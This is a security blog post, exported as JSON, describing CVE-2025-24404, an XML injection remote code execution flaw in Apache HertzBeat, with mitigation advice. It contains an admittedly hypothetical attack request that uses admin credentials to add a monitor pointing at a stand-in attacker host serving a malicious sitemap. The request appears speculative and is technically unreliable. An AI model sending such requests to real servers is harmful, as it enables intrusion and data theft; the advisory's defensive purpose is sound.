{"id":75198,"date":"2025-09-15T15:21:27","date_gmt":"2025-09-15T15:21:27","guid":{"rendered":""},"modified":"2025-10-02T18:15:06","modified_gmt":"2025-10-03T00:15:06","slug":"cve-2025-24404-xml-injection-remote-code-execution-vulnerability-in-apache-hertzbeat","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-24404-xml-injection-remote-code-execution-vulnerability-in-apache-hertzbeat\/","title":{"rendered":"<strong>CVE-2025-24404: XML Injection Remote Code Execution Vulnerability in Apache HertzBeat<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is never short of challenges, and one such issue that has come to light recently is the CVE-2025-24404 vulnerability. This security flaw exists in Apache HertzBeat, a product widely used in the tech landscape. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-53499-sql-injection-vulnerability-in-jeewms-v3-7-cgreportcontroller-api\/\"  data-wpil-monitor-id=\"82749\">vulnerability pertains to XML Injection<\/a> which can lead to remote code execution (RCE) if exploited. It requires <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5821-critical-authentication-bypass-vulnerability-in-case-theme-user-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"83292\">user authentication<\/a> and specifically targets the parsing of HTTP sitemap XML responses, which if tampered with, can trigger the XML parsing flaw. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54887-significant-security-vulnerability-in-jwe-ruby-encryption-implementation\/\"  data-wpil-monitor-id=\"82704\">vulnerability is significant<\/a> due to its high severity score and the potential for system compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-24404<br \/>\nSeverity: High (CVSS: 8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low (<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5060-authentication-bypass-vulnerability-in-bravis-user-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"85257\">Authenticated user<\/a> access)<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-45134-critical-vulnerability-in-mahara-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"82927\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2743326009\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Apache HertzBeat | Before 1.7.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of an XML <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-51092-sql-injection-vulnerability-in-login-signup-project-by-vishnusivadasvs\/\"  data-wpil-monitor-id=\"83094\">Injection vulnerability<\/a> in the HTTP sitemap XML response parsing in Apache HertzBeat. The attacker, who needs to have an authenticated account with access, adds a monitor parsed by XML. The returned special content can trigger the XML parsing vulnerability, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53518-an-integer-overflow-vulnerability-leading-to-arbitrary-code-execution-in-the-biosig-project-libbiosig\/\"  data-wpil-monitor-id=\"83237\">leading to remote code execution<\/a>. This means that the attacker could potentially control the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-43110-critical-unauthenticated-remote-system-configuration-vulnerability-in-voltronic-power-viewpower-powershield-netguard\/\"  data-wpil-monitor-id=\"83106\">system remotely<\/a> or leak sensitive data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3951469465\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited. This is a hypothetical HTTP request that includes a malicious payload:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/monitor\/add HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/xml\nAuthorization: Basic YWRtaW46YWRtaW4=\n&lt;monitor&gt;\n&lt;id&gt;1&lt;\/id&gt;\n&lt;name&gt;Test&lt;\/name&gt;\n&lt;url&gt;http:\/\/malicious.example.com\/sitemap.xml&lt;\/url&gt;\n&lt;\/monitor&gt;<\/code><\/pre>\n<p>In this example, the attacker sends a request to add a new monitor. The `url` field points to a malicious XML sitemap hosted by the attacker. When Apache HertzBeat attempts to parse this XML, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-56265-arbitrary-file-upload-vulnerability-in-n8n-s-chat-trigger-component\/\"  data-wpil-monitor-id=\"87953\">vulnerability is triggered<\/a>.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users are strongly recommended to upgrade to Apache HertzBeat version 1.7.0, which contains a fix for this issue. If upgrading is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these should not be considered long-term solutions as they may not fully protect against the exploit. Always prioritize applying the vendor-provided patches to ensure maximum security.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is never short of challenges, and one such issue that has come to light recently is the CVE-2025-24404 vulnerability. This security flaw exists in Apache HertzBeat, a product widely used in the tech landscape. The vulnerability pertains to XML Injection which can lead to remote code execution (RCE) if exploited. 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